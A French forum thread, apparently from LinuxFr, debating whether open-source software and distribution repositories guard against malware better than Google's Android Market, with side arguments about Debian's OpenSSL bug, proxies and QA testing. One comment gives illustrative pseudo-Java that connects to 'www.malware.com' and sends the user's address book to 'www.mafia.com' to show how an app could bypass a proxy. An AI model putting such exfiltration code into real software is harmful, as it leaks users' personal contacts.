Il est presque Vendredi, a 2-3 jours pres, donc voici un bon petit troll de derriere les fagots concernant Android.
http://www.cnn.com/2011/TECH/mobile/03/02/google.malware.andriod/
Google a recemment enleve 21 applications de son marketplace qui contenaient un malware, car il faut le savoir, Google ne verifie rien des applications de son marketplace.
50'000 personnes ont entre temps telecharge ces malware et la recommendation pour ces gens :
Ramener le telephone a l'operateur telephonique pour un remplacement.
Avec Android, vous en avez pour votre argent, et meme plus !
# Solution libre
Posté par JGO . Évalué à 8.
Si tu fais confiance à des applications proprio c'est un peu ta faute. La bonne solution ce serait que ces applications soient libres et relues par les contributeurs du magasin d'applications libres. Comme c'est fait dans les autres distros libres du monde.
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à 7.
Si demain j'uploade un malware libre sur le marketplace, avec lien sur les sources ou bien entendu le cote malware est un peu cache, tu crois qu'il va se passer combien de temps avant que quelqu'un remarque le probleme ?
Cette histoire de disponibilite du code source qui empecherait ce genre de probleme est un gros gag, ca n'empeche rien du tout, notamment parce que quasiment personne ne lit les sources, encore moins attentivement, et definitevement pas rapidement.
Le probleme se verra plus rapidement par analyse du comportement du soft que par analyse du code source.
[^] # Re: Solution libre
Posté par Jiel (site web personnel) . Évalué à 10.
Pour commencer, pour Android comme pour n'importe quel autre système, les gens ne devraient pas installer n'importe quelle application sans refléchir. C'est surtout ca le vrai problème !
Sinon, le code ouvert ne garantit pas l'absence de bug ou de failles, mais ca reste néanmoins une sécurité en plus : en plus de l'analyse du comportement, on a aussi la possibilité de l'analyse de source. Ce n'est pas parfait, tout le monde ne scrute pas le code en permanence tu as raison, mais ca arrive néanmoins, donc c'est de toutes façons un avantage. Plus on a de sécurité, mieux c'est.
Le côté positif de l'histoire, c'est que Google l'avu et a réagi assez rapidement, même si le mal était déjà fait.
[^] # Re: Solution libre
Posté par pasScott pasForstall . Évalué à 9.
Ok, reflechissons.
Oh, une appli qui fait un truc qui m'interesse.
C'est gratuit.
Ah ben elle a des bons ratings en plus.
Pis c'est sur le store google.
Allez, zou, je l'installe.
Tu propose quoi comme reflexion?
Telecharger le code source, le lire, l'auditer, le fuzzer jusqu'a la moelle, puis decompiler le binaire et verifier qu'il correspond au source, puis laisser l'appli tourner 2 mois toute seule pour voir si ya pas une time bomb dedans?
T'en as d'autres des supers reflexions a la con dans le meme style? On parle pas de double cliquer sur anna_kournikova_xxx_pr0m.jpg.exe attache a mail qui vient de russie, mais d'installer une appli qui vient du store officiel de google...
Quand Debian a distribue pendant 2 ans une version plombee d'OpenSSL, ca a ete quoi ta premiere pensee? Faut arreter d'installer n'importe quelle application sans reflechir?
If you can find a host for me that has a friendly parrot, I will be very very glad. If you can find someone who has a friendly parrot I can visit with, that will be nice too.
[^] # Re: Solution libre
Posté par JGO . Évalué à 5.
L'appli a-t-elle un site, l'auteur répond-il aux questions, tient-il compte des suggestions ? Pour les poids lourds parmi mes extensions FF (adblock, noscript), je fais confiance à la communauté autour. Pour les petites extensions sans renommée, je relis, normalement par curiosité pour savoir comment ça marche ou pour changer une valeur par défaut. Je suis pas spécialiste, mais je ne suis pas seul à relire.
OpenSSL est une grosse application à laquelle la plupart des mortels ne comprennent rien, on en est donc réduit à faire confiance au fournisseur (debian). Si debian fait une erreur, on est dans la mouise. Mais si on a le choix entre télécharger openSSL depuis les serveurs debian ou depuis app-store.GRATIS-JEUX-3D-PR0N.com, je choisis quand même debian. Sur le fond, le mainteneur aurait dû poster son patch sur la mailing-list upstream avant de le valider. Il aurait eu une réponse affolée immédiatement.
[^] # Re: Solution libre
Posté par pasScott pasForstall . Évalué à 3.
Ca fait rever ta procedure, on dirait le service d'audit de mon ancienne boite qui bondissait au plafond quand je choppais la derniere release d'eclipse sortie la veille.
Bon, et sinon, les extensions, c'est une chose, pour les applis natives, tu fais comment? Tu te tapes la lecture de tout le code des applis?
Non, tu fais confiance aux repos. En quelque sorte, le distributeur. Ah ben tiens, interessant, comme google et son store tu veux dire?
Ben voyons! Tu sais, meme I'm rich est une application a laquelle la plupart des mortels ne comprennent rien (scoop! la plupart des mortels ne bitent rien au development, c'est du chinois pour eux, meme a un haut niveau), donc les utilisateurs en sont reduits a faire confiance au fournisseur (google et son android market).
If you can find a host for me that has a friendly parrot, I will be very very glad. If you can find someone who has a friendly parrot I can visit with, that will be nice too.
[^] # Re: Solution libre
Posté par JGO . Évalué à -3.
T'as fini de faire exprès de rien comprendre ? Je parle du commun des mortels dans une expression à visée humoristique. Tu as vraiment besoin que j'explicite en quoi la cryptographie est vraiment particulier par rapport à l'application moyenne qui appelle une API pour dessiner des fenêtres ?
Oui je dois faire confiance aux dépôts de ma distribution, mais c'est pas du tout trivial pour le logiciel lambda sorti la veille d'y entrer. Faut poster des patches sur le bugzilla, faut qu'un développeur compatissant décide de se charger de l'intégration, ensuite ça part dans la branche testing pendant un temps indéterminé jusqu'à ce que le mainteneur de la branche stable décide que cette version particulière des patches est bonne pour tout le monde... Ça prend des mois, des gens aventureux testent les versions récentes, moi je profite des versions stables, et j'ai rarement des problèmes.
Certes tu pourrais avec beaucoup d'astuce, arriver à dissimuler du code malicieux, mais ça n'a rien à voir avec la situation initialement proposée par pbpg, où un inconnu télécharge un binaire malicieux sur les dépôts d'appstore android pour distribution immédiate, et attend que les pigeons téléchargent dans la minute suivante.
[^] # Re: Solution libre
Posté par Zenitram (site web personnel) . Évalué à 6.
Euh... Effet miroir.
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à 2.
J'ecris un soft libre, qui telecharge des updates de differents types depuis mon serveur a moi (images ou autres conneries au hasard) et fait un traitement dessus quel qu'il soit.
Le soft a une chance d'etre dans le depot de la distrib ?
Si oui, alors je peux aisement te poser un gros malware dedans a travers une faille dans la communication avec mon serveur, et je peux te garantir a 99.9% que personne le verra (suffit de voir le nombre de failles de ce type decouvertes dans les distribs qui etaient la depuis des annees)
Si non, ben ton depot ne remplit pas son boulot, une application legitime n'y est pas acceptee (en imaginant que je fais cette appli sans malware)
[^] # Re: Solution libre
Posté par JGO . Évalué à 1.
Waou c'est quoi ton soft qui télécharge des mises à jour sans passer par la distro ? Sur ma machine y'a que Firefox qui essaie de faire ça et c'est bien le truc que j'ai désactivé en premier. De toute façon le gros malin il aurait rien pu écrire dans /opt, mais je préfère qu'il essaie même pas.
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à 9.
Des softs qui accedent a des serveurs externes il y en a plein, je te parles pas d'une update de code hein, mais par exemple des extensions, sons, flux RSS ou autres. Ca manque pas les raisons d'acceder a un serveur externe hein.
Et c'est tout ce dont il y a besoin pour qu'une faille que j'ai laisse dans mon code libre soit declenchee selon mes envies, et que mon malware soit execute sur ta machine.
[^] # Re: Solution libre
Posté par pasScott pasForstall . Évalué à 1.
Non, mais t'as pas compris, en plus de relire le code de ses applis, il audite aussi les flux reseau qui sortent/rentrent de sa machine en temps reel. Har'core, t'as vu?
If you can find a host for me that has a friendly parrot, I will be very very glad. If you can find someone who has a friendly parrot I can visit with, that will be nice too.
[^] # Re: Solution libre
Posté par JGO . Évalué à -1.
Je l'ai fait une seule fois pour la seule appli proprio que j'avais installé. Et effectivement elle appelait sa maison. J'ai pas gardé.
[^] # Re: Solution libre
Posté par Grunt . Évalué à 8.
Tu ne risques pas de découvrir une appli libre qui fait pareil, si tu ne vérifies par leurs flux réseaux parce que c'est libre.
C'est le même raisonnement que les windowsiens qui n'ont "pas besoin d'antivirus" parce qu'ils n'attrapent jamais de virus. Le jour où ils en installent un ça gueule dans tous les sens.
THIS IS JUST A PLACEHOLDER. YOU SHOULD NEVER SEE THIS STRING.
[^] # Re: Solution libre
Posté par JGO . Évalué à 0.
Pour les logiciels libres ce genre de choses est déjà documenté par les autres paranos qui se sont déjà plaints. J'ai aussi testé avec Firefox, pour vérifier quelles options désactiver pour qu'il arrête d'appeler sa maison à intervalles réguliers.
[^] # Re: Solution libre
Posté par zebra3 . Évalué à 5.
Perso, oui je le fais quand ça entre dans le cadre.
Par exemple, Firefox + TOR : j'ai utilisé Wireshark pour vérifier que les requêtes DNS passent bien par Tor et non en clair.
Article Quarante-Deux : Toute personne dépassant un kilomètre de haut doit quitter le Tribunal. -- Le Roi de Cœur
[^] # Re: Solution libre
Posté par JGO . Évalué à 0.
Un lecteur RSS accède aux flux que l'utilisateur choisit, un lecteur multimédia aussi. Ce sera pas facile de cache un appel à www.site-douteux.com dans le code. De toute façon sans configuration proxy, ils l'ont dans le baba.
[^] # Re: Solution libre
Posté par pasScott pasForstall . Évalué à 2.
T'es trop fort!
Mais dans tout ca, tu nous expliques pas comment ca resoud le probleme, tu disais, je cite en substance "ils ont qu'a pas installer n'importe quoi".
Sinon, je voudrais bien savoir quel est ta config proxy (surtout du cote du serveur en fait) sur ton telephone 3g.
If you can find a host for me that has a friendly parrot, I will be very very glad. If you can find someone who has a friendly parrot I can visit with, that will be nice too.
[^] # Re: Solution libre
Posté par JGO . Évalué à 0.
J'ai pas de téléphone 3g. Si j'en avais un, je me mettrais probablement dans le cas d'utilisation mis en avant par la MoFo, où les fonctionnalités sont fournies par des applications en ligne ou développées sur la plateforme Firefox. Firefox honore la configuration proxy, qui passe par un proxy filtrant écrit en C, compilable sur à peu près n'importe quoi, j'ai nommé privoxy. Les applis natives lisent la configuration proxy depuis les variables d'environnement. Bien sûr, je choisirais l'un des rares téléphones « hackables » où je pourrais régler ces choses.
P.S. J'ai pas dit textuellement « installer n'importe quoi », mais ce commentaire est effectivement apparu dans un journal récent.
[^] # Re: Solution libre
Posté par pasScott pasForstall . Évalué à 0.
T'as beau essayer de noyer le poisson dans du blabla qui n'a rien a voir, tout ca ca m'explique pas comment tu fais pour mettre en place un proxy (enfin, un qui sert a quelque chose) pour ton telephone 3g.
Quand a firefox pour android, c'est cool, mais il est pas encore sorti.
If you can find a host for me that has a friendly parrot, I will be very very glad. If you can find someone who has a friendly parrot I can visit with, that will be nice too.
[^] # Commentaire supprimé
Posté par Anonyme . Évalué à 2.
Ce commentaire a été supprimé par l’équipe de modération.
[^] # Re: Solution libre
Posté par pasScott pasForstall . Évalué à -3.
Et comment tu fais pour mettre ton proxy sur le reseau de le reseau de ton operateur?
Le concept du proxy, c'est que c'est physiquement pas possible de sortir du reseau sans passer par lui, ca sert strictement a rien sinon...
Tu fais quoi si une appli ouvre une socket en direct sur www.malware.com?
If you can find a host for me that has a friendly parrot, I will be very very glad. If you can find someone who has a friendly parrot I can visit with, that will be nice too.
[^] # Commentaire supprimé
Posté par Anonyme . Évalué à 1.
Ce commentaire a été supprimé par l’équipe de modération.
[^] # Re: Solution libre
Posté par pasScott pasForstall . Évalué à 3.
Et il te sert a quoi ton proxy si toutes tes applis ont un acces direct a internet?
L'interet du proxy, c'est que si ton OS tente de joindre www.malware.com, le proxy va voir que c'est un domaine interdit et bloquer la requete.
Remettons dans le contexte:
* pbpg: je peux ecrire une appli qui se connecte a mon serveur et chope la chtouille
* JGO: ouais mais eud'facons mon proxy, il bloquera ca
* Moi: et comment tu fais pour mettre un proxy sur un reseau 3g?
* JGO: ouais mais eud'facons, j'ai pas de portable 3g, alors le probleme se pose pas.
Si n'importe quelle appli peut faire
URLConnection connection = new URLConnection("http://www.malware.com"); connection.open(); connection.read(); connection.close();Ou encore
URLConnection connection = new URLConnection("http://www.mafia.com"); connection.open(); connection.send(CarnetDadresse); connection.close();tout en bypassant allegrement le proxy que t'as mit en dehors de ton reseau (wtf?!?), t'as gagne quoi au juste?
Alors, ok, cool, Firefox va passer par ton proxy, mais a quoi ca t'avances (a part t'emmerder a configurer Firefox pour utiliser un proxy des bois)?
If you can find a host for me that has a friendly parrot, I will be very very glad. If you can find someone who has a friendly parrot I can visit with, that will be nice too.
[^] # Re: Solution libre
Posté par JGO . Évalué à -3.
Oui c'est théoriquement possible, mais je doute que cette appli libre ne recevra pas de rapport de bug public si elle n'honore pas la configuration proxy. Ça va finir par se voir dans les logs.
[^] # Re: Solution libre
Posté par pasScott pasForstall . Évalué à 3.
C'est genial en fait, ton argument c'est d'une part "les autres vont le faire pour le moi, donc c'est fiable", mais t'as strictement aucune idee de qui va le faire, ou meme si qq1 va le faire (surtout quand les autres disent "les autres vont le faire pour moi, donc c'est fiable"), et d'autre part "si le probleme a pas ete remontes, il n'y a pas de problemes et je peux y aller a fond les ballons", ce qui marche, sauf pour les premiers qui se font couillonner.
Sinon pour open ssl, ca a finit par se voir aussi, le probleme c'est que ca c'est vu tres tard et que pendant 2 ans, debian a genere des cles des bois. Alors, t'as beau dire "on a finit par le voir", les failles de secu dans IE6, on a finit par les voir aussi, ca les rend pas moins grave.
If you can find a host for me that has a friendly parrot, I will be very very glad. If you can find someone who has a friendly parrot I can visit with, that will be nice too.
[^] # Re: Solution libre
Posté par Zenitram (site web personnel) . Évalué à 8.
[^] # Re: Solution libre
Posté par Axioplase ıɥs∀ (site web personnel) . Évalué à 6.
Toi t'es du genre à croire qu'un bug ou une faille, c'est facilement visible…
Je te conseille de relire le code source des soumissions de l'underhanded C contest… Et dis-toi qu'ils ont fait ça pour jouer, pas pour voler des données, et qu'ils se sont moins pris la tête…
[^] # Re: Solution libre
Posté par Vlobulle . Évalué à 1.
Honorer la configuration proxy ça fait partie de l'intégration. Être mal intégré ce n'est pas (encore) un bug.
Accessoirement, sous Windows ou sous Linux, il n'y a pas vraiment de moyen de définir une configuration proxy system-wide. Ou s'il y a, ce n'est pas utilisé.
Donc à part sous Android et MacOS (et je dis ça au hasard)...
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à 1.
Sous Windows si : http://msdn.microsoft.com/en-us/library/ms815135.aspx
Tous les softs utilisant Wininet pour leur communication HTTP passeront par ca.
[^] # Re: Solution libre
Posté par briaeros007 . Évalué à 1.
pff, expert réseau et infrastructure maintenant ^.
Dommage qu'il n'y ait pas le smiley pop corn parce que je m'amuse bien là.
[^] # Re: Solution libre
Posté par zebra3 . Évalué à 3.
Et si :
Article Quarante-Deux : Toute personne dépassant un kilomètre de haut doit quitter le Tribunal. -- Le Roi de Cœur
[^] # Re: Solution libre
Posté par briaeros007 . Évalué à 2.
tricheur, c'est du hotlink :)
[^] # Re: Solution libre
Posté par zebra3 . Évalué à 2.
Oui, mais maintenant on peut mettre des totoz dans les commentaires \o/
Article Quarante-Deux : Toute personne dépassant un kilomètre de haut doit quitter le Tribunal. -- Le Roi de Cœur
[^] # Re: Solution libre
Posté par claudex . Évalué à 3.
voire
« Rappelez-vous toujours que si la Gestapo avait les moyens de vous faire parler, les politiciens ont, eux, les moyens de vous faire taire. » Coluche
[^] # Re: Solution libre
Posté par Juke (site web personnel) . Évalué à 2.
Le jeudi 03 mars 2011 à 00:06 +0100, pff a écrit :
tu peux utiliser tsocks http://tsocks.sourceforge.net/
par contre je crois que ça ne fonctionne que pour TCP.
mais avec des regles iptables pour udp ça doit être jouable.
[^] # Re: Solution libre
Posté par JGO . Évalué à 3.
et j'ai pas encore acheté, tu noteras.
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à 2.
Mais qui te parles de cacher l'appel ? Je te mets l'entree pour mon site par defaut, l'enorme majorite des gens le laissera ou ne saura pas l'enlever.
Sinon, qui te dit que mon soft est un lecteur RSS ou multimedia ? Il y a plein de cas ou le soft va aller chercher differents types d'infos, acceder a une gallerie de fichiers, etc...
Tu veux me faire croire qu'il n'y a aucun soft dans les depots des distribs qui par defaut accede a un serveur externe ? On parie ?
[^] # Re: Solution libre
Posté par JGO . Évalué à -2.
Il y en a sans doute, mais ce qui compte ici, c'est que dans une distribution libre, il y aune mailing-list pour discuter des paramètres, et tout ce fil de discussion sert à t'expliquer que, dans le cas de logiciels libres, les problèmes que tu soulèves, et qui sont pertinents, auraient une chance supplémentaire d'être résolus avant de toucher la masse des utilisateurs.
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à 2.
Quelle chance supplementaire ? Sachant que personne ne trouvera la faille, comme l'experience de tant d'annees a montre.
Ta mailing-list elle va faire quoi ? Elle va refuser mon soft ? Donc elle a des restrictions sur les softs legitimes, car la faille est le seul element qui fait que mon soft est un malware plutot qu'un soft legitime, et ils ne savent pas que la faille est la.
Elle va accepter mon soft ? Donc c'est fini, j'ai gagne.
[^] # Commentaire supprimé
Posté par Anonyme . Évalué à 0.
Ce commentaire a été supprimé par l’équipe de modération.
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à 5.
Si moi, qui l'ai inseree dans mon code volontairement, l'exploitera, c'est ca qui en fait un malware.
[^] # Re: Solution libre
Posté par bubar🦥 (Mastodon) . Évalué à 3.
T'oublie un peu vite le côté social du truc :
Tu fais une fois, ça passe mais tu es grillé ensuite. Et puis ça va se régler à coup de batte de base-ball, ou bien au fond de la seine, bien lesté. Le social, c'est bien.
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à 5.
Bien evidemment, mais tu crois que cela demande quoi de creer une identite bidon pour un gars qui se fait chier en hiver a Moscou ? Pas grand-chose.
Et bonne chance pour le choper a coup de batte de base-ball, parce qu'il a probablement des copains qui jouent de la kalachnikov, c'est du crime organise en bonne partie ces malwares.
[^] # Re: Solution libre
Posté par bubar🦥 (Mastodon) . Évalué à 1.
Merde j'ai foiré mes blagues
[^] # Re: Solution libre
Posté par briaeros007 . Évalué à 2.
enfin à t'entendre, il est absolument impossible de détecter un malware.
Marrant je croyais qu'on y arrivais pourtant ..
[^] # Re: Solution libre
Posté par Zenitram (site web personnel) . Évalué à 1.
Il dit juste que libre ou pas, ça ne change pas grand chose, il y a les mêmes problèmes. Mais comme c'est le méchant qui dit que le libre c'est pas toujours "mieux archi-bien que ça qui roxe", tu te fais tes propres conclusions sur ce qu'il dit en les travestissant. Hum.
Au final, vous n'avez juste pas d'arguments bien concret pour dire que le fait d'être libre est suffisant pour être sécurisé...
[^] # Re: Solution libre
Posté par Nicolas Boulay (site web personnel) . Évalué à 9.
Le principe du libre est de dire qu'à effort comparable avec le proprio, le résultat final sera mieux. Car les utilisateurs ont le code source. Ce n'est pas une condition nécessaire, mais cela aide (cf mozilla).
Quand l'armée française audite le code de clamwin pour "fortifier" son code source, quel éditeur d'antivirus peut en dire autant ?
"La première sécurité est la liberté"
[^] # Re: Solution libre
Posté par Zenitram (site web personnel) . Évalué à 1.
C'est un outil. Pas meilleur que d'autres. L'armée française peut aussi payer l'éditeur pour l'audit. C'est juste une façon. Rien ne dit que c'est meilleur dans l'absolu (tu as l'exemple Clamwin, on a l'exemple Debian OpenSSL, un point partout).
Non démontré. Le libre fait beaucoup de travail en doublon/triplon/décuplon...
[^] # Re: Solution libre
Posté par Nicolas Boulay (site web personnel) . Évalué à 2.
Le libre fait beaucoup de travail en doublon/triplon/décuplon...
Et le prioritaire n'en fait pas ? Et le propriétaire ne fait jamais de "death by commity" ?
Est-ce Linux aurait pu exister dans un monde uniquement propriétaire ?
Quand du parallélisme entre en jeux, surtout quand c'est massif, dupliquer du travail permet d'aller globalement plus vite pour éviter les points de synchronisation. C'est à la base des micro-architectures électronique, mais cela se vérifie aussi dans l'écriture de code.
Le principe est que si la force de travail croit en 0(n), les besoins de communications croient en 0(n²).
Trolltech estimait que le suivi des version beta de Qt équivalait au travail d'un service de Q&A de 5000 personnes.
"La première sécurité est la liberté"
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à 0.
Trolltech estimait que le suivi des version beta de Qt équivalait au travail d'un service de Q&A de 5000 personnes.
Ca je peux te garantir a 100% que c'est totalement faux.
Nos betas de Windows etaient downloadees et utilisees par des millions de personnes, soit enormement plus que les betas de Qt. Mais on a toujours trouve au total plus de bugs en interne qu'a travers les betas, bien qu'ils en trouvaient. T'imagines bien que cela etait bien plus large que Qt.
Et notre service Q&A a dans les 5000 personnes justement... (pas le chiffre exact, mais dans ces eaux la).
[^] # Re: Solution libre
Posté par Maclag . Évalué à 6.
Euh, je dirais qu'on compare ce qui n'est pas comparable.
Dans les utilisateurs des bêta, sous Windows, tu as des gens qui savent ce qu'ils font et malheureusement aussi pas mal de kikoolol qui veulent juste se la péter avec leur bêta. En dehors des développeurs, je ne vois pas vraiment qui aurait pu tester Qt bêta. Tu as certainement des kikoolol aussi, mais remplacer une bibliothèque est d'un autre niveau que de cliquer sur "Suivant" 3 ou 4 fois...
Le niveau moyen des retours a dû être très très différent.
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à 1.
On a certainement eu bien plus de bruit, mais de par le nombre enorme, je te paries qu'on a eu bien plus de vrais bugs rapportes aussi que Qt.
Et ce nombre, il est bien en deca de ce qu'un departement QA de 5000 personnes peut faire, car on est dans ces eaux la, et on trouve bien plus de bugs que le programme de releases beta.
[^] # Re: Solution libre
Posté par Maclag . Évalué à 2.
[Mode vendredi]
Mais non, ça c'est parce que Qt est bien mieux codé au départ!
[/Mode vendredi]
Plus sérieusement, remarque pertinente, mais je dirais que c'est difficile de quantifier.
Du reste, la première question que je me posais dès le début c'est comment Trolltech calcule l'équivalent contribution entre sa communauté et 5000 "vrais" testeurs.
On ne peut pas dire que 2 testeurs rapportent deux fois plus de bugs: ils vont avoir un certain recouvrement. On ne peut pas dire non plus que 5000 personnes dans le monde qui testent pour elle vont être aussi efficaces que 5000 gérés par la boite: les tâches ne sont pas distribuées de façon rationnelle.
Bref, ma conclusion est qu'on ne sait pas vraiment, et ça depént comment on calcule tout ce bordel. Il est certain que 5000 testeurs en interne bien encadré, c'est mieux que 5000 volontaires prêts à essayer leur propre tambouille.
[^] # Re: Solution libre
Posté par briaeros007 . Évalué à 2.
enfin en même temps comparer un os entier, où l'on a pas les sources (donc aucune investigation possible sur les problèmes), et la plupart des bugs que l'on peut indiquer c'est "marche - marche pas - marche mal" (en gros), à une librairie , où l'on a accès à des api, des specs poussée, et du code source, et les bugs sont quand même plus précis, du fait du niveau plus "bas", ben c'est comme comparer du caoutchouc et des bicyclette.
Celui qui arrive à faire une comparaison fiable et qui a vraiment un sens, je lui tire mon chapeau.
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à 1.
La proportion exacte est dure a dire, mais 5000 testeurs professionels qui passent leur temps surtout a automatiser des tests et ont des machines pour faire tourner ces tests automatises, je t'assure que chacun d'eux vaut au moins 100 beta testeurs, et je sous-estime largement.
Pour rappel, ces gens la :
a) connaissent le code du composant sur lequel ils bossent par coeur
b) ont tres peu d'overlap, parce qu'il y a une autorite (les chefs) qui partage les taches
c) sont pros, ils savent comment tester un composant
d) ils ajouter des tests et debugent ca 8h par jour, les tests tournent en parrallele, alors qu'un beta testeur, c'est du 100% manuel le plus souvent
[^] # Re: Solution libre
Posté par Nicolas Boulay (site web personnel) . Évalué à 4.
Le chiffre de 5000 testeurs provient du CEO de Trolltech pour justifier la version GPL.
Sur Qt, les beta testeur faisaient surtout de l'intégration dans l'outil qui utilisaient la lib. Cela représente des tests de bien plus haut niveau que les tests unitaires qui sont fait d'habitude sur un soft classique. Les problèmes, les plus sérieux, sont en général dans l'interaction des modules à haut niveau et l"interprétation des specs.
De plus, l'architecture du soft a une influence considérable sur l'efficacité ou inefficacité du test: problème d'observabilité, problème de contrôlabilité, explosion des branches, etc...
Je serais curieux de savoir à quel niveau MS utilise la couverture de code ou tout ce qui est définit dans les normes qualités les plus strict en matière de SW (DO178b, EN50128,...)
"La première sécurité est la liberté"
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à -3.
On fait enormement plus que des tests unitaires sur les librairies. Les tests unitaires sont ecrits par les devs. Les milliers de testeurs de la division Windows ils font du plus haut niveau 90% du temps.
Niveau couverture de code, c'est utilise depuis des annees dans Windows sur tout le produit, et notre taux de couverture de branches/blocs par nos tests est sacrement eleve (aucune idee de si j'ai le droit de donner le chiffre). Il y a un taux de couverture minimum comme requirement pour chaque feature, si elle ne l'atteint pas (ainsi que de nombreux autres requirements) elle n'entre pas dans le produit.
[^] # Re: Solution libre
Posté par Moogle . Évalué à 4.
J'aurais quand même plus confiance dans un audit d'une société tierce indépendante que dans l'audit de l'éditeur lui-même.
[^] # Re: Solution libre
Posté par Alex . Évalué à 4.
En l'occurrence il me semble que l'armée audit elle même les logiciels par l'intermédiaire de la dga.
[^] # Re: Solution libre
Posté par JGO . Évalué à 5.
Ah ben là si tu fais ce genre d'hypothèse, c'est sûr que je peux pas répondre grand chose. Mais si je préfère supposer que quelqu'un trouvera la faille, comme l'expérience de tant d'années l'a montré ?
[^] # Re: Solution libre
Posté par pasScott pasForstall . Évalué à 3.
Ben si quelqu'un la trouve "par hasard" comme ca a ete le cas avec open ssl troue par debian, ca nous fait une belle jambe...
"Ouais, les gars, vos telephones la. Ouais, ben ils sont plombes, toutes vos donnees personnelles voire confidentielles sont au mains des mechants de la mafia, depuis 2 ans. Mais c'est pas grave, hein, on a trouve la faille!"
If you can find a host for me that has a friendly parrot, I will be very very glad. If you can find someone who has a friendly parrot I can visit with, that will be nice too.
[^] # Re: Solution libre
Posté par JGO . Évalué à 3.
Je pense que ça n'a rien à voir avec le débat. Oui des gens font des erreurs, et parfois les mailing list ne suffisent pas, surtout si le mainteneur omet de poster son patch sur la mailing list qui va bien.
[^] # Re: Solution libre
Posté par pasScott pasForstall . Évalué à 5.
Hein?!?
Comment ca ca a rien a voir avec le debat?
T'es en train de nous dire que tu preferes supposer que les relecteurs (imaginaires) vont trouver la faille alors que t'as sous le nez un exemple de faille demesurement grosse, posee juste sous le nez, qui a meme pas ete camouflee, qui a ete trouvee par pur coup de chance (il se trouve que certains ont eu des collisions de cles et ca leur a mit la puce a l'oreille, c'aurait pas ete le cas on saurait potentiellement meme pas au courant du pb a l'heure actuelle) 2 ans apres l'introduction du bug.
C'est ca que "l'experience de tant d'annees" m'a appris, c'est que la disponibilite du source n'apporte pas grand chose en terme de securite concrete. Et aussi que le processus qualite des distros libres est une vaste blague. Et qu'accessoirement Debian a pas ete foutu d'accepter ses responsabilites en accusant OpenSSL de pas avoir relu son patch des bois.
Rien n'est fait, il se trouve que ca marche comme ca et ca m'en touche une sans faire bouger l'autre, mais venir dire "on a le source, si on le lisait on trouverais des failles, mais le passe a prouve que personne le lit" et presenter ca comme une feature de securite, c'est un peu gros tu trouves pas?
L'hypothese de pbpg est pas une hypothese, c'est un fait avere, meme avec le source, on trouve des failles critiques longtemps apres, et elles ont pas ete trouvees en lisant le code...
If you can find a host for me that has a friendly parrot, I will be very very glad. If you can find someone who has a friendly parrot I can visit with, that will be nice too.
[^] # Re: Solution libre
Posté par Zenitram (site web personnel) . Évalué à 2.
Résumons : tout ce qui démontre que ta théorie du bonheur qu'est le logiciel libre part en miettes à la moindre étude sur leur sécurité réelle est hors sujet. Seuls sont autorisés les arguments pour. Super de débattre avec toi.
[^] # Re: Solution libre
Posté par JGO . Évalué à 4.
Je lance un fil de discussion avec certains arguments. Puis on se répond de post en post, et à la fin on se retrouve à argumenter sur des détails qui n'ont rien à voir avec les arguments initiaux.
Ma théorie du bonheur, dans le post bien bien plus haut, c'est que de fait, les distributions de bureau marchent bien, y'a des failles mais elles sont souvent trouvées (parfois 2 ans après, je sais, mais autant pour nous que pour la mafia), à mon humble niveau je trouve parfois de minuscules bugs, et des gars balaises trouvent les bugs compliqués. Je dis pas que c'est parfait, je dis que ça marche plutôt pas mal, et qu'y a pas de raison que ça ne continue pas de marcher à l'avenir, ou sur une distro d'app pour mobile.
[^] # Re: Solution libre
Posté par Zenitram (site web personnel) . Évalué à 3.
Donc, comme le proprio. C'est quoi ton argument sur le mieux du libre? Tes arguments sont pour TOUS les logiciels, tu conclus que le libre est meilleur et tu dis que c'est hors sujet quand on te le fait remarquer. Drôle de conception de la façon d'argumenter.
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à 2.
C'est pas une hypothese, c'est la realite, et c'est bien le probleme.
Il suffit de regarder le nombre de failles que les distribs corrigent, voir depuis combien de temps ces failles etaient la, et voir comment elles ont ete trouvees, pour se rendre compte que la grosse majorite est trouvee par fuzzing, et pas par des contributeurs ayant revu le code peu apres qu'il ait ete ecrit.
[^] # Re: Solution libre
Posté par Axioplase ıɥs∀ (site web personnel) . Évalué à 9.
L'analyse empirique des failles montre qu'on en trouve, pas qu'on les trouve…
[^] # Re: Solution libre
Posté par Axioplase ıɥs∀ (site web personnel) . Évalué à 4.
Un certain nombre de plugins firefox ? Xmoto je crois. Vim (qui peut chercher des dictionnaires en ligne)
[^] # Re: Solution libre
Posté par pasScott pasForstall . Évalué à 2.
C'est quoi ton point alors?
Les utilisateurs doivent auditer eux meme les applis qu'ils installent? (Cf ta remarque plus "ne pas installer n'importe quoi")
Ou qu'ils doivent faire confiance a leur distributeur de confiance? (Ce que tu fais apparement, ce qui voudrait donc dire que soit tu racontais de la merde plus haut, soit tu preconise un "faites ce que je dit, pas ce que je fait"). Si c'est le cas, en concluerais tu donc que Google est responsable de laisser n'importe qui faire n'importe quoi avec sa plateforme?
Parce que la tu viens un peu de faire un virage a 180 degres, meme steve jobs aurait pas fait mieux.
If you can find a host for me that has a friendly parrot, I will be very very glad. If you can find someone who has a friendly parrot I can visit with, that will be nice too.
[^] # Re: Solution libre
Posté par moi1392 . Évalué à 8.
C'est pour ça que les chinois sont les meilleurs hackers!
[^] # Re: Solution libre
Posté par briaeros007 . Évalué à 4. Dernière modification le 03 mars 2011 à 11:38.
euh il a demandé si ce qu'il faisait était ok, et il n'a pas eu de réponse affolée, vu que les gars d'openssl ont dit "ok".
Ce qui c'est passé, c'est que openssl a aussi merdé à utiliser des pseudo optimisations qui ne servent pas forcément, voire pas du tout (lire une donnée non initalisée, tu n'as absolument aucune idée de l'entropie de l'aléa).
Il y a des trucs spécifiques pour avoir de l'aléa, et ça passe pas par lire des données "non initialisées". En lisant une donnée non initialisée, tu as peut être aucun aléa, suivant le système, le compilateur, etc...
